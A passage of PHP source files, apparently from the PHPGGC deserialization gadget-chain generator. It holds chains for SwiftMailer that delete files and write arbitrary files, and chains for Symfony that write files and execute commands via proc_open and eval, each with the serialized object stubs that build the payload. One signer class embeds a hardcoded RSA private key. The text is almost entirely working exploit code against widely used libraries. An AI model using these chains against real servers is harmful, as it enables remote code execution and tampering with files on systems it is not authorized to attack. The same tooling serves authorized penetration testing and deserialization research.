29 | class Container extends \Pimple\Container | |
30 | { | |
31 | ||
32 | } | |
33 | } | |
34 | ||
35 | namespace Slim\Http | |
36 | { | |
37 | use \Slim\App; | |
38 | use \Slim\Container; | |
39 | ||
40 | abstract class Message | |
41 | { | |
42 | protected $headers; | |
43 | protected $body = ''; | |
44 | ||
45 | function __construct($function, $parameter) | |
46 | { | |
47 | $z = new App(new Container(['has' => $function])); | |
48 | $y = new App($z); | |
49 | $this->headers = new App(new Container(['all' => [$y, $parameter]])); | |
50 | } | |
51 | } | |
52 | ||
53 | class Response extends Message | |
54 | { | |
55 | ||
56 | } | |
57 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '-5.4.12+, -6.2.1+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'dsp25no'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']); | |
13 | } | |
14 | } |
0 | <?php | |
1 | ||
2 | class Swift_ByteStream_FileByteStream | |
3 | { | |
4 | private $path; | |
5 | ||
6 | public function __construct($path) | |
7 | { | |
8 | $this->path = $path; | |
9 | } | |
10 | } | |
11 | ||
12 | class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream | |
13 | { | |
14 | public function __construct($path) | |
15 | { | |
16 | parent::__construct($path); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '5.1.0 <= 5.4.8'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function process_parameters(array $parameters) | |
11 | { | |
12 | $parameters = parent::process_parameters($parameters); | |
13 | ||
14 | # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner, | |
15 | # line 460 | |
16 | $parameters['data'] = preg_replace( | |
17 | "/(?!\r)\n/", | |
18 | "\r\n", | |
19 | $parameters['data'] | |
20 | ); | |
21 | ||
22 | return $parameters; | |
23 | } | |
24 | ||
25 | public function generate(array $parameters) | |
26 | { | |
27 | $path = $parameters['remote_path']; | |
28 | $a = new \Swift_ByteStream_FileByteStream($path); | |
29 | $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a); | |
30 | $c = new \Swift_KeyCache_ArrayKeyCache($b); | |
31 | $d = new \Swift_Signers_DomainKeySigner($b); | |
32 | $e = new \Swift_Message($d, $c, $parameters['data']); | |
33 | ||
34 | return $e; | |
35 | } | |
36 | }⏎ |
0 | <?php | |
1 | ||
2 | class Swift_Mime_HeaderEncoder_Base64HeaderEncoder | |
3 | { | |
4 | } | |
5 | ||
6 | class Swift_Mime_Grammar | |
7 | { | |
8 | } | |
9 | ||
10 | class Swift_Mime_SimpleHeaderFactory | |
11 | { | |
12 | private $_encoder; | |
13 | private $_paramEncoder; | |
14 | private $_grammar; | |
15 | ||
16 | function __construct() | |
17 | { | |
18 | $this->_encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); | |
19 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); | |
20 | $this->_grammar = new Swift_Mime_Grammar(); | |
21 | } | |
22 | } | |
23 | ||
24 | class Swift_Mime_SimpleHeaderSet | |
25 | { | |
26 | private $_factory; | |
27 | ||
28 | function __construct() | |
29 | { | |
30 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); | |
31 | } | |
32 | } | |
33 | ||
34 | class Swift_Mime_ContentEncoder_RawContentEncoder | |
35 | { | |
36 | ||
37 | } | |
38 | ||
39 | class Swift_Mime_SimpleMimeEntity | |
40 | { | |
41 | private $_headers; | |
42 | private $_body; | |
43 | private $_encoder; | |
44 | private $_cache; | |
45 | private $_cacheKey = 'something'; | |
46 | ||
47 | function __construct($cache, $body) | |
48 | { | |
49 | $this->_cache = $cache; | |
50 | $this->_body = $body; | |
51 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); | |
52 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); | |
53 | } | |
54 | } | |
55 | ||
56 | class Swift_Message extends Swift_Mime_SimpleMimeEntity | |
57 | { | |
58 | private $headerSigners = []; | |
59 | private $bodySigners = []; | |
60 | private $savedMessage = []; | |
61 | ||
62 | function __construct($headerSigner, $cache, $body) | |
63 | { | |
64 | parent::__construct($cache, $body); | |
65 | $this->headerSigners = [$headerSigner]; | |
66 | } | |
67 | } | |
68 | ||
69 | class Swift_Signers_DomainKeySigner | |
70 | { | |
71 | protected $_privateKey = <<<EOF | |
72 | -----BEGIN RSA PRIVATE KEY----- | |
73 | MIICXQIBAAKBgQDRpx277bhMnUSga718Dd7P7ZA+23B8kBzqie3hFklaPFL8R18w | |
74 | bVjHU4VHJq1SIrkbaX9MKnuAl4y9VSruQuJtjb9k1mk1CaWgESwK0ViOx9ugoI4B | |
75 | cmEToyO/gCPKAkF69r7Lfy/M0VOxXH58QURCQU3dS3pm5SP8hhy/ag8fowIDAQAB | |
76 | AoGATbKBcoRHKR2fsVQ8hR0e1jBUpPbuWTuPe9xiLGj2BlsU5ioNPQVJQZXSbuwG | |
77 | j8oOj/opEzErVBzWK9TEdEiVYRhcyPc6awiIulZAp928TRsP0+ZjKOTXtgU40GNf | |
78 | BqdaI8oMgSjeB3mbJP9S9ghVmOEN1AArOPBrWKyIEcDq/gECQQD5C0rb1lYqN7Om | |
79 | yx6gYUXW91xs40PCtNI1EVtFVkVb4B3Dsz3tmi93NxgDK+fJLcid3Yx4PF0v1pm6 | |
80 | ysBU2vupAkEA14IrToWxTtzcPI9852TJ4A9IA93Y7AppmWzkxp0uPM0tmRIuOpK+ | |
81 | foLPtdLcXE7KAtHoHnccpGSQE33clb5wawJBAOYPHXcZd/2F+UqCZudnFHoxhcr8 | |
82 | 4nKyUWE+iF70BByMW1KWeQXOIjzxwxfi7jq1NZdHu2Sy9q6jgt3AQI3iwQkCQCy0 | |
83 | gP1R+H0OjdU2QsfRfZswMFU1ARm98zfzgeW9l2jfezUEs3hNFp0xz5q9Oh8f7QH2 | |
84 | vzsKpHNptQWGF2sszS8CQQCMZbkmUguZhj72vvJ33bbugLtjv2AjTQxwAOAZZF+3 | |
85 | 6P1HpTADFnZQZbGAmjJNT//JEHs6+TTbb1Wjj+mJHbmR | |
86 | -----END RSA PRIVATE KEY----- | |
87 | EOF; | |
88 | private $_bound; | |
89 | ||
90 | function __construct($_bound) | |
91 | { | |
92 | $this->_bound = [$_bound]; | |
93 | } | |
94 | } | |
95 | ||
96 | class Swift_KeyCache_ArrayKeyCache | |
97 | { | |
98 | private $_contents = []; | |
99 | private $_stream; | |
100 | ||
101 | function __construct($_stream) | |
102 | { | |
103 | $this->_stream = $_stream; | |
104 | } | |
105 | } | |
106 | ||
107 | class Swift_KeyCache_SimpleKeyCacheInputStream | |
108 | { | |
109 | private $_keyCache; | |
110 | private $_nsKey = 'something'; | |
111 | private $_itemKey = 'something'; | |
112 | private $_writeThrough = null; | |
113 | ||
114 | function __construct($_writeThrough) | |
115 | { | |
116 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); | |
117 | $this->_writeThrough = $_writeThrough; | |
118 | } | |
119 | } | |
120 | ||
121 | abstract class Swift_ByteStream_AbstractFilterableInputStream | |
122 | { | |
123 | } | |
124 | ||
125 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream | |
126 | { | |
127 | private $_path; | |
128 | private $_mode = 'w+b'; | |
129 | ||
130 | function __construct($_path) | |
131 | { | |
132 | $this->_path = $_path; | |
133 | } | |
134 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FW2 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '6.0.0 <= 6.0.1'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function process_parameters(array $parameters) | |
11 | { | |
12 | $parameters = parent::process_parameters($parameters); | |
13 | ||
14 | # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner, | |
15 | # line 460 | |
16 | $parameters['data'] = preg_replace( | |
17 | "/(?!\r)\n/", | |
18 | "\r\n", | |
19 | $parameters['data'] | |
20 | ); | |
21 | ||
22 | return $parameters; | |
23 | } | |
24 | ||
25 | public function generate(array $parameters) | |
26 | { | |
27 | $path = $parameters['remote_path']; | |
28 | $a = new \Swift_ByteStream_FileByteStream($path); | |
29 | $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a); | |
30 | $c = new \Swift_KeyCache_ArrayKeyCache($b); | |
31 | $d = new \Swift_Signers_DomainKeySigner($b); | |
32 | $e = new \Swift_Message($d, $c, $parameters['data']); | |
33 | ||
34 | return $e; | |
35 | } | |
36 | }⏎ |
0 | <?php | |
1 | ||
2 | class Swift_Mime_HeaderEncoder_Base64HeaderEncoder | |
3 | { | |
4 | } | |
5 | ||
6 | class Swift_Mime_Grammar | |
7 | { | |
8 | } | |
9 | ||
10 | class Swift_Mime_SimpleHeaderFactory | |
11 | { | |
12 | private $encoder; | |
13 | private $paramEncoder; | |
14 | private $grammar; | |
15 | ||
16 | function __construct() | |
17 | { | |
18 | $this->encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); | |
19 | $this->paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); | |
20 | $this->grammar = new Swift_Mime_Grammar(); | |
21 | } | |
22 | } | |
23 | ||
24 | class Swift_Mime_SimpleHeaderSet | |
25 | { | |
26 | private $factory; | |
27 | ||
28 | function __construct() | |
29 | { | |
30 | $this->factory = new Swift_Mime_SimpleHeaderFactory(); | |
31 | } | |
32 | } | |
33 | ||
34 | class Swift_Mime_ContentEncoder_RawContentEncoder | |
35 | { | |
36 | ||
37 | } | |
38 | ||
39 | class Swift_Mime_SimpleMimeEntity | |
40 | { | |
41 | private $headers; | |
42 | private $body; | |
43 | private $encoder; | |
44 | private $cache; | |
45 | private $cacheKey = 'something'; | |
46 | ||
47 | function __construct($cache, $body) | |
48 | { | |
49 | $this->cache = $cache; | |
50 | $this->body = $body; | |
51 | $this->encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); | |
52 | $this->headers = new Swift_Mime_SimpleHeaderSet(); | |
53 | } | |
54 | } | |
55 | ||
56 | class Swift_Message extends Swift_Mime_SimpleMimeEntity | |
57 | { | |
58 | private $headerSigners = []; | |
59 | private $bodySigners = []; | |
60 | private $savedMessage = []; | |
61 | ||
62 | function __construct($headerSigner, $cache, $body) | |
63 | { | |
64 | parent::__construct($cache, $body); | |
65 | $this->headerSigners = [$headerSigner]; | |
66 | } | |
67 | } | |
68 | ||
69 | class Swift_Signers_DomainKeySigner | |
70 | { | |
71 | protected $privateKey = <<<EOF | |
72 | -----BEGIN RSA PRIVATE KEY----- | |
73 | MIICXQIBAAKBgQDRpx277bhMnUSga718Dd7P7ZA+23B8kBzqie3hFklaPFL8R18w | |
74 | bVjHU4VHJq1SIrkbaX9MKnuAl4y9VSruQuJtjb9k1mk1CaWgESwK0ViOx9ugoI4B | |
75 | cmEToyO/gCPKAkF69r7Lfy/M0VOxXH58QURCQU3dS3pm5SP8hhy/ag8fowIDAQAB | |
76 | AoGATbKBcoRHKR2fsVQ8hR0e1jBUpPbuWTuPe9xiLGj2BlsU5ioNPQVJQZXSbuwG | |
77 | j8oOj/opEzErVBzWK9TEdEiVYRhcyPc6awiIulZAp928TRsP0+ZjKOTXtgU40GNf | |
78 | BqdaI8oMgSjeB3mbJP9S9ghVmOEN1AArOPBrWKyIEcDq/gECQQD5C0rb1lYqN7Om | |
79 | yx6gYUXW91xs40PCtNI1EVtFVkVb4B3Dsz3tmi93NxgDK+fJLcid3Yx4PF0v1pm6 | |
80 | ysBU2vupAkEA14IrToWxTtzcPI9852TJ4A9IA93Y7AppmWzkxp0uPM0tmRIuOpK+ | |
81 | foLPtdLcXE7KAtHoHnccpGSQE33clb5wawJBAOYPHXcZd/2F+UqCZudnFHoxhcr8 | |
82 | 4nKyUWE+iF70BByMW1KWeQXOIjzxwxfi7jq1NZdHu2Sy9q6jgt3AQI3iwQkCQCy0 | |
83 | gP1R+H0OjdU2QsfRfZswMFU1ARm98zfzgeW9l2jfezUEs3hNFp0xz5q9Oh8f7QH2 | |
84 | vzsKpHNptQWGF2sszS8CQQCMZbkmUguZhj72vvJ33bbugLtjv2AjTQxwAOAZZF+3 | |
85 | 6P1HpTADFnZQZbGAmjJNT//JEHs6+TTbb1Wjj+mJHbmR | |
86 | -----END RSA PRIVATE KEY----- | |
87 | EOF; | |
88 | private $bound; | |
89 | ||
90 | function __construct($bound) | |
91 | { | |
92 | $this->bound = [$bound]; | |
93 | } | |
94 | } | |
95 | ||
96 | class Swift_KeyCache_ArrayKeyCache | |
97 | { | |
98 | private $contents = []; | |
99 | private $stream; | |
100 | ||
101 | function __construct($stream) | |
102 | { | |
103 | $this->stream = $stream; | |
104 | } | |
105 | } | |
106 | ||
107 | class Swift_KeyCache_SimpleKeyCacheInputStream | |
108 | { | |
109 | private $keyCache; | |
110 | private $nsKey = 'something'; | |
111 | private $itemKey = 'something'; | |
112 | private $writeThrough = null; | |
113 | ||
114 | function __construct($writeThrough) | |
115 | { | |
116 | $this->keyCache = new Swift_KeyCache_ArrayKeyCache(null); | |
117 | $this->writeThrough = $writeThrough; | |
118 | } | |
119 | } | |
120 | ||
121 | abstract class Swift_ByteStream_AbstractFilterableInputStream | |
122 | { | |
123 | } | |
124 | ||
125 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream | |
126 | { | |
127 | private $path; | |
128 | private $mode = 'w+b'; | |
129 | ||
130 | function __construct($path) | |
131 | { | |
132 | $this->path = $path; | |
133 | } | |
134 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FW3 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '5.0.1'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function process_parameters(array $parameters) | |
11 | { | |
12 | $parameters = parent::process_parameters($parameters); | |
13 | ||
14 | # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner, | |
15 | # line 460 | |
16 | $parameters['data'] = preg_replace( | |
17 | "/(?!\r)\n/", | |
18 | "\r\n", | |
19 | $parameters['data'] | |
20 | ); | |
21 | ||
22 | return $parameters; | |
23 | } | |
24 | ||
25 | public function generate(array $parameters) | |
26 | { | |
27 | $path = $parameters['remote_path']; | |
28 | $a = new \Swift_ByteStream_FileByteStream($path); | |
29 | $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a); | |
30 | $c = new \Swift_KeyCache_ArrayKeyCache($b); | |
31 | $d = new \Swift_Signers_DomainKeySigner($b); | |
32 | $e = new \Swift_SignedMessage($d, $c, $parameters['data']); | |
33 | ||
34 | return $e; | |
35 | } | |
36 | }⏎ |
0 | <?php | |
1 | ||
2 | class Swift_Mime_HeaderEncoder_Base64HeaderEncoder | |
3 | { | |
4 | } | |
5 | ||
6 | class Swift_Mime_Grammar | |
7 | { | |
8 | } | |
9 | ||
10 | class Swift_Mime_SimpleHeaderFactory | |
11 | { | |
12 | private $_encoder; | |
13 | private $_paramEncoder; | |
14 | private $_grammar; | |
15 | ||
16 | function __construct() | |
17 | { | |
18 | $this->_encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); | |
19 | $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); | |
20 | $this->_grammar = new Swift_Mime_Grammar(); | |
21 | } | |
22 | } | |
23 | ||
24 | class Swift_Mime_SimpleHeaderSet | |
25 | { | |
26 | private $_factory; | |
27 | ||
28 | function __construct() | |
29 | { | |
30 | $this->_factory = new Swift_Mime_SimpleHeaderFactory(); | |
31 | } | |
32 | } | |
33 | ||
34 | class Swift_Mime_ContentEncoder_RawContentEncoder | |
35 | { | |
36 | ||
37 | } | |
38 | ||
39 | class Swift_Mime_SimpleMimeEntity | |
40 | { | |
41 | private $_headers; | |
42 | private $_body; | |
43 | private $_encoder; | |
44 | private $_cache; | |
45 | private $_cacheKey = 'something'; | |
46 | ||
47 | function __construct($cache, $body) | |
48 | { | |
49 | $this->_cache = $cache; | |
50 | $this->_body = $body; | |
51 | $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder(); | |
52 | $this->_headers = new Swift_Mime_SimpleHeaderSet(); | |
53 | } | |
54 | } | |
55 | ||
56 | class Swift_SignedMessage extends Swift_Mime_SimpleMimeEntity | |
57 | { | |
58 | private $headerSigners = []; | |
59 | private $bodySigners = []; | |
60 | private $savedMessage = []; | |
61 | ||
62 | function __construct($headerSigner, $cache, $body) | |
63 | { | |
64 | parent::__construct($cache, $body); | |
65 | $this->headerSigners = [$headerSigner]; | |
66 | } | |
67 | } | |
68 | ||
69 | class Swift_Signers_DomainKeySigner | |
70 | { | |
71 | protected $_privateKey = <<<EOF | |
72 | -----BEGIN RSA PRIVATE KEY----- | |
73 | MIICXQIBAAKBgQDRpx277bhMnUSga718Dd7P7ZA+23B8kBzqie3hFklaPFL8R18w | |
74 | bVjHU4VHJq1SIrkbaX9MKnuAl4y9VSruQuJtjb9k1mk1CaWgESwK0ViOx9ugoI4B | |
75 | cmEToyO/gCPKAkF69r7Lfy/M0VOxXH58QURCQU3dS3pm5SP8hhy/ag8fowIDAQAB | |
76 | AoGATbKBcoRHKR2fsVQ8hR0e1jBUpPbuWTuPe9xiLGj2BlsU5ioNPQVJQZXSbuwG | |
77 | j8oOj/opEzErVBzWK9TEdEiVYRhcyPc6awiIulZAp928TRsP0+ZjKOTXtgU40GNf | |
78 | BqdaI8oMgSjeB3mbJP9S9ghVmOEN1AArOPBrWKyIEcDq/gECQQD5C0rb1lYqN7Om | |
79 | yx6gYUXW91xs40PCtNI1EVtFVkVb4B3Dsz3tmi93NxgDK+fJLcid3Yx4PF0v1pm6 | |
80 | ysBU2vupAkEA14IrToWxTtzcPI9852TJ4A9IA93Y7AppmWzkxp0uPM0tmRIuOpK+ | |
81 | foLPtdLcXE7KAtHoHnccpGSQE33clb5wawJBAOYPHXcZd/2F+UqCZudnFHoxhcr8 | |
82 | 4nKyUWE+iF70BByMW1KWeQXOIjzxwxfi7jq1NZdHu2Sy9q6jgt3AQI3iwQkCQCy0 | |
83 | gP1R+H0OjdU2QsfRfZswMFU1ARm98zfzgeW9l2jfezUEs3hNFp0xz5q9Oh8f7QH2 | |
84 | vzsKpHNptQWGF2sszS8CQQCMZbkmUguZhj72vvJ33bbugLtjv2AjTQxwAOAZZF+3 | |
85 | 6P1HpTADFnZQZbGAmjJNT//JEHs6+TTbb1Wjj+mJHbmR | |
86 | -----END RSA PRIVATE KEY----- | |
87 | EOF; | |
88 | private $_bound; | |
89 | ||
90 | function __construct($_bound) | |
91 | { | |
92 | $this->_bound = [$_bound]; | |
93 | } | |
94 | } | |
95 | ||
96 | class Swift_KeyCache_ArrayKeyCache | |
97 | { | |
98 | private $_contents = []; | |
99 | private $_stream; | |
100 | ||
101 | function __construct($_stream) | |
102 | { | |
103 | $this->_stream = $_stream; | |
104 | } | |
105 | } | |
106 | ||
107 | class Swift_KeyCache_SimpleKeyCacheInputStream | |
108 | { | |
109 | private $_keyCache; | |
110 | private $_nsKey = 'something'; | |
111 | private $_itemKey = 'something'; | |
112 | private $_writeThrough = null; | |
113 | ||
114 | function __construct($_writeThrough) | |
115 | { | |
116 | $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null); | |
117 | $this->_writeThrough = $_writeThrough; | |
118 | } | |
119 | } | |
120 | ||
121 | abstract class Swift_ByteStream_AbstractFilterableInputStream | |
122 | { | |
123 | } | |
124 | ||
125 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream | |
126 | { | |
127 | private $_path; | |
128 | private $_mode = 'w+b'; | |
129 | ||
130 | function __construct($_path) | |
131 | { | |
132 | $this->_path = $_path; | |
133 | } | |
134 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FW4 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '4.0.0 <= ?'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'ronenshh'; | |
9 | ||
10 | public function process_parameters(array $parameters) | |
11 | { | |
12 | $parameters = parent::process_parameters($parameters); | |
13 | ||
14 | # The library appends "QUIT" at the end of the content, so we need to comment it | |
15 | $parameters['data'] .= '//'; | |
16 | ||
17 | return $parameters; | |
18 | } | |
19 | ||
20 | public function generate(array $parameters) | |
21 | { | |
22 | $dispatcher = new \Swift_Events_SimpleEventDispatcher(); | |
23 | $byte_stream = new \Swift_ByteStream_FileByteStream($parameters['remote_path'], $parameters['data']); | |
24 | $transport = new \Swift_Transport_SendmailTransport($byte_stream, $dispatcher); | |
25 | ||
26 | return $transport; | |
27 | } | |
28 | }⏎ |
0 | <?php | |
1 | ||
2 | class Swift_Events_SimpleEventDispatcher | |
3 | { | |
4 | } | |
5 | ||
6 | abstract class Swift_Transport_AbstractSmtpTransport | |
7 | { | |
8 | protected $_buffer; | |
9 | protected $_started = true; | |
10 | protected $_eventDispatcher; | |
11 | ||
12 | } | |
13 | ||
14 | class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport | |
15 | { | |
16 | function __construct($_buffer, $_eventDispatcher) | |
17 | { | |
18 | $this->_buffer = $_buffer; | |
19 | $this->_eventDispatcher = $_eventDispatcher; | |
20 | } | |
21 | } | |
22 | ||
23 | abstract class Swift_ByteStream_AbstractFilterableInputStream | |
24 | { | |
25 | private $_filters = array(); | |
26 | private $_writeBuffer; | |
27 | ||
28 | function __construct($_writeBuffer) | |
29 | { | |
30 | $this->_writeBuffer = $_writeBuffer; | |
31 | } | |
32 | } | |
33 | ||
34 | class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream | |
35 | { | |
36 | private $_path; | |
37 | private $_mode = 'w+b'; | |
38 | ||
39 | function __construct($_path, $_writeBuffer) | |
40 | { | |
41 | parent::__construct($_writeBuffer); | |
42 | $this->_path = $_path; | |
43 | } | |
44 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '2.5.2'; | |
7 | public static $vector = 'DebugImport'; | |
8 | public static $author = 'cf'; | |
9 | public static $informations = ' | |
10 | This chain is supposed to be uploaded through the /_profiler/import | |
11 | page. It will produce an error but the file will be created in the | |
12 | webroot. | |
13 | '; | |
14 | ||
15 | public function generate(array $parameters) | |
16 | { | |
17 | $path = $parameters['remote_path']; | |
18 | $data = $parameters['data']; | |
19 | return new \Symfony\Component\HttpKernel\Profiler\Profile($path, $data); | |
20 | } | |
21 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\HttpKernel\Profiler | |
3 | { | |
4 | class Profile | |
5 | { | |
6 | private $token; | |
7 | private $collectors = array(); | |
8 | private $ip; | |
9 | private $method; | |
10 | private $url; | |
11 | private $time; | |
12 | private $parent; | |
13 | private $children = array(); | |
14 | ||
15 | function __construct($path, $content) | |
16 | { | |
17 | $this->token = uniqid(); | |
18 | $this->ip = new \Symfony\Component\Finder\Expression\Expression( | |
19 | $path, $content | |
20 | ); | |
21 | } | |
22 | } | |
23 | } | |
24 | ||
25 | namespace Symfony\Component\Finder\Expression | |
26 | { | |
27 | class Expression | |
28 | { | |
29 | private $value; | |
30 | ||
31 | function __construct($path, $content) | |
32 | { | |
33 | $this->value = new \Symfony\Component\Console\Helper\Table( | |
34 | $path, $content | |
35 | ); | |
36 | } | |
37 | } | |
38 | } | |
39 | ||
40 | namespace Symfony\Component\Console\Helper | |
41 | { | |
42 | class Table | |
43 | { | |
44 | private $headers = ['a']; | |
45 | private $rows = []; | |
46 | private $columnWidths = [100]; | |
47 | private $numberOfColumns; | |
48 | private $output; | |
49 | private $style; | |
50 | private static $styles; | |
51 | ||
52 | function __construct($path, $content) | |
53 | { | |
54 | $this->output = new \Symfony\Component\Config\ConfigCache($path); | |
55 | $this->style = new TableStyle($content); | |
56 | } | |
57 | } | |
58 | ||
59 | class TableStyle | |
60 | { | |
61 | private $paddingChar = ' '; | |
62 | private $horizontalBorderChar = ''; | |
63 | private $verticalBorderChar; | |
64 | private $crossingChar = ''; | |
65 | private $cellHeaderFormat = '<info>%s</info>'; | |
66 | private $cellRowFormat = '%s'; | |
67 | private $cellRowContentFormat = ' %s '; | |
68 | private $borderFormat = '%s'; | |
69 | private $padType = STR_PAD_RIGHT; | |
70 | ||
71 | function __construct($verticalBorderChar) | |
72 | { | |
73 | $this->verticalBorderChar = $verticalBorderChar; | |
74 | } | |
75 | } | |
76 | } | |
77 | ||
78 | namespace Symfony\Component\Config | |
79 | { | |
80 | class ConfigCache | |
81 | { | |
82 | private $debug; | |
83 | private $file; | |
84 | ||
85 | function __construct($file) | |
86 | { | |
87 | $this->file = $file; | |
88 | } | |
89 | } | |
90 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class FW2 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '3.4'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'RicterZ'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $path = $parameters['remote_path']; | |
13 | $data = $parameters['data']; | |
14 | return new \Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTrait( | |
15 | $path, | |
16 | $data | |
17 | ); | |
18 | } | |
19 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Symfony\Bridge\PhpUnit\Legacy | |
3 | { | |
4 | class SymfonyTestsListenerTrait | |
5 | { | |
6 | private static $globallyEnabled = false; | |
7 | private $state = -1; | |
8 | private $skippedFile = false; | |
9 | private $wasSkipped = array(); | |
10 | private $isSkipped = array(); | |
11 | private $expectedDeprecations = array(); | |
12 | private $gatheredDeprecations = array(); | |
13 | private $previousErrorHandler; | |
14 | private $testsWithWarnings; | |
15 | private $reportUselessTests; | |
16 | private $error; | |
17 | private $runsInSeparateProcess = false; | |
18 | ||
19 | public function __construct($path, $data) | |
20 | { | |
21 | $this->state = 1; | |
22 | $this->skippedFile = 'php://filter/convert.base64-decode/resource=' . $path; | |
23 | $this->isSkipped = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' . base64_encode($data); | |
24 | } | |
25 | } | |
26 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '3.3'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'cf'; | |
9 | public static $informations = 'Executes given command through proc_open()'; | |
10 | public static $parameters = [ | |
11 | 'command' | |
12 | ]; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | $command = $parameters['command']; | |
17 | ||
18 | return new \Symfony\Component\Cache\Adapter\ApcuAdapter( | |
19 | $command | |
20 | ); | |
21 | } | |
22 | } |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Cache\Traits | |
3 | { | |
4 | use \Psr\Log\LoggerAwareTrait; | |
5 | ||
6 | trait AbstractTrait | |
7 | { | |
8 | use LoggerAwareTrait; | |
9 | ||
10 | private $namespace; | |
11 | private $deferred; | |
12 | } | |
13 | } | |
14 | ||
15 | namespace Psr\Log | |
16 | { | |
17 | trait LoggerAwareTrait | |
18 | { | |
19 | } | |
20 | } | |
21 | ||
22 | namespace Symfony\Component\Cache\Adapter | |
23 | { | |
24 | use \Symfony\Component\Cache\Traits\AbstractTrait; | |
25 | ||
26 | abstract class AbstractAdapter | |
27 | { | |
28 | use AbstractTrait; | |
29 | ||
30 | private $mergeByLifetime = 'proc_open'; | |
31 | ||
32 | function __construct($command) | |
33 | { | |
34 | $this->deferred = $command; | |
35 | $this->namespace = []; | |
36 | } | |
37 | } | |
38 | ||
39 | class ApcuAdapter extends AbstractAdapter | |
40 | { | |
41 | } | |
42 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '2.3.42 < 2.6'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'crlf'; | |
9 | public static $informations = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )'; | |
10 | public static $parameters = [ | |
11 | 'code' | |
12 | ]; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | $code = $parameters['code']; | |
17 | ||
18 | return new \Symfony\Component\Process\ProcessPipes( | |
19 | new \Symfony\Component\Finder\Expression\Expression( | |
20 | new \Symfony\Component\Templating\PhpEngine( | |
21 | new \Symfony\Component\Templating\Storage\StringStorage( | |
22 | $code | |
23 | )))); | |
24 | } | |
25 | } |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Templating\Storage{ | |
3 | class StringStorage{ | |
4 | protected $template = ''; | |
5 | public function __construct($code){ | |
6 | $this->template = '<?php '.$code.';die(); ?>'; | |
7 | } | |
8 | } | |
9 | } | |
10 | ||
11 | namespace Symfony\Component\Templating{ | |
12 | class TemplateNameParser{} | |
13 | class TemplateReference{} | |
